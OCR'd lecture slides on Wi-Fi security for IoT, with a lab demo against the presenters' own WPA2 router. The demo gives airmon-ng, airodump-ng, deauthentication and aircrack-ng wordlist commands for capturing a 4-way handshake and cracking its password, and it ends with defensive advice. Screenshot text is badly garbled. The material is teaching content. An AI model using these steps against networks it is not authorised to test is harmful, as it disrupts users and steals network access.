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Wireless security -WLAN as an example

* Wireless networks are essential for loT
* Distributed sensor and actuator networks
* Remote utility stations
* Robots and autonomous vehicles

* Wireless communication has its own unique attack vectors

« Communication uses electomagnetic waves which propagate freely (no elecrical or
optical cables)

« Eavesdropping and interception are physically possible
 Let us look at WLAN communication as an example
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WLAN in a nutshell

* Wi-Fi is a marketing name for wireless radio communication devices
governed by Wi-Fi Alliance (https://www.wi-fi.org/)

 Evolution of Wi-Fi technology: htips://standards.ieee.org/beyond-
standards/the-evolution-of-wi-fi-technology-and-standards/

* A good introduction to WI-Fi terms: https://www.ekahau.com/blog/wi-fi-
fundamentals-acronym-glossary/

* Frequency bands used by WLAN:
https://en.wikipedia.org/wiki/List of WLAN channels
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Gartner lIoT Reference Architecture

Check discussion on this architecture here:

https://www.spiceworks.com/it-security/cyber-risk-management/articles/industroyer-and-ot-security/
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STRIDE

« Each threat is a violation of a desirable property for a system

« Today we will target Confidentiality and Authenticity using temporary
Avalability loss

Threat Desired property Threat Definition
I Spoofing Authenticity Pretending to be something or someone other than yourself
Tampering Integrity Modifying something on disk, network, memory, or elsewhere
Repudiation Mon-repudiability | Claiming that you didn't do something or were not responsible; can be honest or false
Information disclosure | Confidentiality Someone obtaining information they are not authorized to access
Denial of service Availability Exhausting resources needed to provide service
Elevation of privilege | Authorization Allowing someone to do something they are not authorized to do

Source: https://en.wikipedia.org/wiki/STRIDE model

ClA triad
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https://en.wikipedia.org/wiki/STRIDE_model

Home automation and CCTV cameras

« Smart homes rely heavily on Wi-Fi networks
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Wi-Fi vulnerabilities

« Wi-Fi works in easily accessible frequency bands < lots of available
hardware

« Communication is nowadays encrypted, but handshakes
/authentications can be listened to.

« Security of Wi-Fi: https://www.cisco.com/c/en/us/products/wireless/what-
Is-wi-fi-security.html

 How Wi-Fi 4-way handshake works:
https://networklessons.com/wireless/wpa-and-wpaZ2-4-way-handshake
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Wi-Fi attacks

« Harvesting 4-way handshake using deauthentication attack =» cracking
password by wordlists or brute force

 Man in the Middle attack
 Evil Twin attack
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Cracking Wi-Fi password

P
—

o
Deauthentication

4-way handshake

Crack Password

Password dictionary
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Man in the middle attack
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Evil twin attack

O
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Demo for today

* We have a router with WPA security but a weak password
« We connect to the router and verify connectivity
« Set up Kali Linux

* Wireless adapter setup into monitor mode

* Monitor networks and find our router

Start monitoring for handshakes

Perform a DoS attack on the router = deauthentication of clients
Harvest handshake

Crack password
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Equipment needed

* Wlan hotspot
* |In our case: Buffalo Airstation WHR-HP-G54
* We have named the hotspot as “Automaatiotest”

« USB WIian adapter with Monitor mode
* |In our case: Alfa Network AWUSO036ACS

 Kali Linux on Windows laptop
« USB drivers of the Wlan adapter did not work on Mac OS
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Turn on monitor mode of the Wlan adapter

 Turn off wlanO:
i1fconfig wlanO down

 Turn on monitor mode:
airmon-ng check kill

airmon-ng start wlanO

 Check that monitor mode is on: 1) Mhome/kad
" no wireless extensions.

iwconfig

no wireless extensions.

unassociated ESSID:"" Nickname:"<WIFIQREALTEK>"

Mode:Monitor Frequency=2.457 GHz Access Point: Not-Associated
Sensitivity:0/0

Retry:off RTS thr:off Fragment thr:off

Encryption key:off

Power Management:off

Link Quality:@ Signal level:® Noise level:e

Rx invalid nwid:® Rx invalid crypt:® Rx invalid frag:e
Tx excessive retries:® Invalid misc:@ Missed beacon:@

17.9.2025 www.savonia.fi



Show all Wian hotspots g

« Show all Wlan hotspots

ailrodump-ng wlanO
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* Filter only interesting hotspots

L= - - - - O . S

ENC CIPHER

WPA2 CCMP
OPN

WPA2 CCMP
WPA2 CCMP
WPA2 CCMP
WPA2 CCMP
OPN

WPA2 CCMP
WPA2 CCMP
WPA2 CCMP
OPN

WPA2 CCMP
WPA2 CCMP
WPA2 CCMP
OPN

OPN

WPA2 CCmMP
WPA2 CCMP
WPAZ CCMP
WPA2 CCMP
OPN

WPA2 CCMP
WPA2 CCmpP
WPA2 CCMP
WPA2 CCMP
OPN

WPA2 CCMP
WPA2 COMP
OPN

WPA2 CCMP
WPA2 CCMP

alrodump-ng wlanO —-essid-regex Automaatio
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Show all Wian hotspots

* Filter only interesting hotspots

alrodump—-ng wlanO —-essid-regex Automaatio

File Actions Edit View Help

CH 8 ][ Elapsed: 1 min ][ 2025-04-14 07:17
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

P0:16:01:F4Z06:F7 284 @ 2 54 WPA2 CCMP PSK AutomaatioTest

BSSID PWR Rate Lost Frames Notes Probes

36
62
38
129

00:16:01:F4:06:F7 -55 11 -48 43
00:16:01:F4:06:F7 -39 54 -1 1e8
00:16:01:F4:06:F7 -43 0 - 6e 405
00:16:01:F4:06:F7 2BC:9D:9E: -31 48 -11 0

« BSSID = MAC address of the Wlan hotspot, WPA2 encryption in use
 Station = MAC address of a device connected to the hotspot
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Setup airodump-ng waiting for authentication

« Setup airodump-ng waiting for authentication events to record 4-way
handshake

airodump-ng —-w hack2 -c¢ 2 —--bssid 00:16:01:F4:06:F7
wlanO

» Enter relevant MAC address of the hotspot after —bssid
* Now airodump-ng is waiting
File Actions Edit View Hel

CH 2 ) Elapsed: 6 5 10 2025-04-14 07:20

omaatioTest
06:F7 8 100 65 128 30 2 54 WPA2 CCMP pPSK Aut
DD 16:01:F4106: -
STATION PWR Rate Lost Frames Notes Probes
8SSID

5
- ~B1:F&4:06:F7 Fs:26:79:c5:k0:Fl -47 Q : be 5
3‘321@23’{'3-3-;7 FC:B3:BC:9D:9E:ISA :i: aa-gz =
20:16:01:F4:06:F7 o . ?
| 20:16:01:F4:06:F7
| 20:16:01:F4:06:F7
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L
aunch deauthentication attack

« Send deauthenticati

ntication t

force automatic reconne%t\i/(\)“r? n hotspot to cut client connections to it =
|

File Actions Edit View Help

[sud61 password for kali:
Ihone!ka1i
th ©

L e: : 6:F7 wlan®

07:24:16 waiting for bea { : :01:F4:n&:r?) on channel 2
NB: this attack 1s more €

a connected wireless client (-c <C

97:24:17 sending DeAuth (code 7) tO proadcast — 8551D: [aa:m:m:u:ae:ﬂ}
07:24:17 sending peAuth (code 7) to proadcast BpssID: [03:16:01:F&:36:F7]
p7:24:18 sending peAuth { code 7) to proadcast gssID: [ea:m:m:ru:ao:n]
@7:24:19 Sending peAuth (code 7) to broadcast BssID: [aa:m:m:n:aa:F?]

07:24:19 sending peAuth (code 7) to proadcast gssSID: {oa:*.b:m:n:o&:ﬂ]
07:24:20 sending D@  7) 10 broadcast BsSsSID: [aa:m:;:u:eé:n]
97:24:20 sending De

7) to proadcast BSSID: [Guziﬁ:ol:F&:Bb:F?]
‘ p7:24:21 sending peAuth (code 7) to proadcast pssID: [sa:m:m:u:aa:ﬂ]
- g7:24:21 sending peAuth (code 7) t° proadcast -~ pssip: [@0

!16101‘.“:06:”1
97:243:22 sending peAuth ( code 7) to proadcast assiD: [ae:w:a::ra:so:r?}
07:24:23 sending peAuth (code 7) to

proadcast pssID: [ea:lb:ai;F&:et:F?]
@7:26:23 =€ peAuth (code 7) t© proadcast BSSID: [eﬂ:ib:#l:Fh:oﬁ:FT]

{eo:m:aun:ae:sr]

24224 : code 7) to proadcast - BsSS1D:
17 9 20 ‘;??:22::225 7) to proadcast — gssiD: {a::a:u:rcl.:ﬁ:.:ri]
n 25 @97:26:25 7) to proadcast — BSSID: [ue:w:m.n.w.f.t

www.savonia.fi
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4-way handshake captured

« Some 4-way handshakes from device reconnections are captured:
File Actions Edit View Help

CH 2

1l Elapsed: 24 s ][ 2025-04-14 07:25 ][ WPA handshake: 00:16:01:F4:06:F7

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

ORZ16: 01 F4I06:F7 262

1273 29 2 54 WPA2 CCMP PSK AutomaatioTest

BSSID

PWR Rate Lost Frames Notes Probes

P0:16:01:F4:96:-F7 -47 54 -36 76
P0:16:01:-F4:96:F7 t31:1F:A3:DC: -41 1 =3 124
00:16:01:F4:06:F7 *A6:54:34:EC: -49 S4 -54 344 EAPOL
PP:16:01:FL:206:F7 *B3:BC:9D:9E: -37 54 -54 385 EAPOL
00:16:01:FA4:96:F7 :BO:DE:18:1C: -33 ) I | 120
P0:16:91:FL-06-F7 :B2:BD:BB:54: 1 -1 213

EAPOL

 This hotspot is now effectively hacked, we just need to crack the password
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Saved handshake file

* In our case hack-02.cap
/home/kali
ls

- Pl I;i_lk.i'-:
270960 1744584210.hc22000 hackl-ll.kisntt.netxll hack2-02.cap _

contains the handshake

B eo rt18812au

-91.lo0g.cCSV hacws =2.35v k- -
e ::::;-::.cag hack2-02.kismet.csV J:HQETLLJ
ocuments hack2-901.csv hackz-iz.kisnt.netnl yidedos
I |IT.'._‘_‘..!-; s

hackl-®l.cap hack2-01.kismet.csv hack2-02.log.CcsV

hlckz-il.kill!t.nitxll Music ‘
-81.csv - .
::E::-:i.kis-t.csv hack2-01.log.csv Picture

i
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Inspect the file using WireShark

* WireShark can be used to study the file:

wireshark hack-02.cap

O RBBR@ac*»nwrr»rAHosrHE

* Filter EAPOL protocol

* Message 2/4 contains

- Hashed (encrypted) WPA key
« WPA key = Wifi password

.596514
.596552
.596588
806024

183675

B 15724
191003

1743 10.193377
1745 10.153400

avaE 4n an%e4d

» Frame 1T39: 157 bytes on wire (1256 bits), 157 bytes captures
T

Source
Buffalo_f4:00:¢7
Buffalo_f4:00:f7
Buffalo_f4:00:f7
Buffalo_fa:0e:f7
Buffalo_f4:06:77
Buffalo_f4:06:77
Buffalo_f4:06:17
Buffalo_f4:86:f7
Buffalo_fa:86:f7
Buffalo_f4:06:17
Buffalo_fa:06:77
Bo:d1:1Tadide:
Buffalo_fa:06:77
66:31:1f:a3:dc:13
Buffalo_f4:06:f7

e P R TR Y L

» 1EEE 862.11 Data, Flags:

+ Logical-Link Control

- B82.1X Asthsmtication
Yersion: 862.1X-2081 (1)

Type: Key (3)
Length: 121

Destination

Intel_bb:54:0d
Intel_bb:54:64d
Intel_bb:54:0d

CloudNetwork_18:1c:

Intel_bb:54:6d
Intel_bb:54:6d
Intel _bb:54:6d
Intel_bb:54:6d
Intel_bb:54:6d

CloudNetwork_34:ec:

86:31:1f:a3:dc
Buffaln fd:86°
66:31:17:a3:dc:f3
Buffalo_f4:06:f7
Clousietwork_18:1

AN it m e b

Key Descriptor Type: EAPOL WPA Key (254)

[Message number: 2]

Key Informati - ax8iba

Key Lesgth: 1

Replay Counter: 2

WPA Key Nomce: 73&1:3749?2ec2m52a39fce4d19cﬁm
Key IV: PORONOHNOHODEE0EDONEHBOCCTTTRRSD

WPA Key RSC: 0680000000000000

WPA Key ID: ©00668008008600000

WPA Kev WIC: eeﬁSZﬁBichZa&cO‘M}lf?ZSMS
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802 1X Authemsicasimn Protocol

Protocol
EAPOL
EAPOL
EAPOL
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EAPOL
EAPOL
EAPOL
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EAPOL
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EAPOL
EAPOL
EAPOL
EAPOL

e

Length info
131 Key
131 Key
131 ey
131 Key
131 Key
131 Key
131 Key
131 Key
131 Key
131 Key
p
157 vy
157 Key
131 Key
131 Key

ane e

91 3a 01
16 61 f4
83 60 79
78 81 c5
Sc 62 60
80 00 88
99 00 B0
ee 35 26
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Wordlist crack of the password

 Let us try wordlist for cracking the password (checking which of the listed
passwords produces the same hashed output:

alrcrack-ng hack-02.cap —-w
/usr/share/wordlists/rockyou. txt

« Output shows cracked password very quickly: 12345678

File Actions Edit View Help

Aircrack-ng 1.7

[00:00:00] 95/10303727 keys tested (1608.20 k/s)

Time left: 1 hour, 46 minutes, 46 seconds

KEY FOUND! [ 12345678 )

3 73 C2 8E
0 43 E9 F3

Master Key

NN
oW
> w
NS
-
»~ >
mne
L

Transient Key :

8888
8885 P
? 888% ¢¢
2 8888 &S
g8s8s
g 88883

% 8888
a

m
o
W
w
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Why was that so fast?

« Using wordlist the computer can quickly try thousands of known easy
(bad) passwords, there is no need for computation

« 12345678 happens to be one of the first on the list =» even faster
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What if the password is not in any of the wordlists?

* |f you have a powerful computer with a graphics card, you can crack
passwords using brute force.

 One such tool is hashcat
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https://hashcat.net/hashcat/

SAVONIA

How to protect your network against the attack we studied?

1. Use a better password

\___/4

Number of Lowercase Upper and Numbers, Upper Numbers, Upper

ch Numbers Only Lotters Lowercase and Lowercase  and Lowercase
aracters Letters Letters Letters, Symbols

Instantly Instantly 3 secs 6 secs 9 secs

Instantly 4 secs 2 mins 6 mins 10 mins TIME IT TAKEs

Instantly 2 mins 2 hours 6 hours 12 hours

4 secs 50 mins 4 days 2 weeks 1 month | A HAC KE R To

37 secs 22 hours 8 months 3years | 7 years

6 mins 3 weeks l Bi’rs :' 161Vye—'a‘r.s \ 47§;years : B R UT E Fo RC E
1hour  [IESEEER D 1k‘rs I: ~ 9kyears 33k years
wonours R I YOUR

adays  [Ikyealst

1month  [J28Kkyears 11bn years PASSWORD
1 year _ 12bn years 147bn years 805bn years

1' \_ 652bn years 9tn years 56tn years I N 20 24

119 years l_ 33tn years 566tn years 3qd years

1k years ‘ 13bn years 1qd years 35qd years 276qd years

_ Hardware: 12 x RTX 4090
11k years \ 350bn years 91qd years 2gn years 19gn years Password hash: bcrypt

I gleverens > Learn more about this at hivesystems.com/password

2. Use a better encryption method than WPA2
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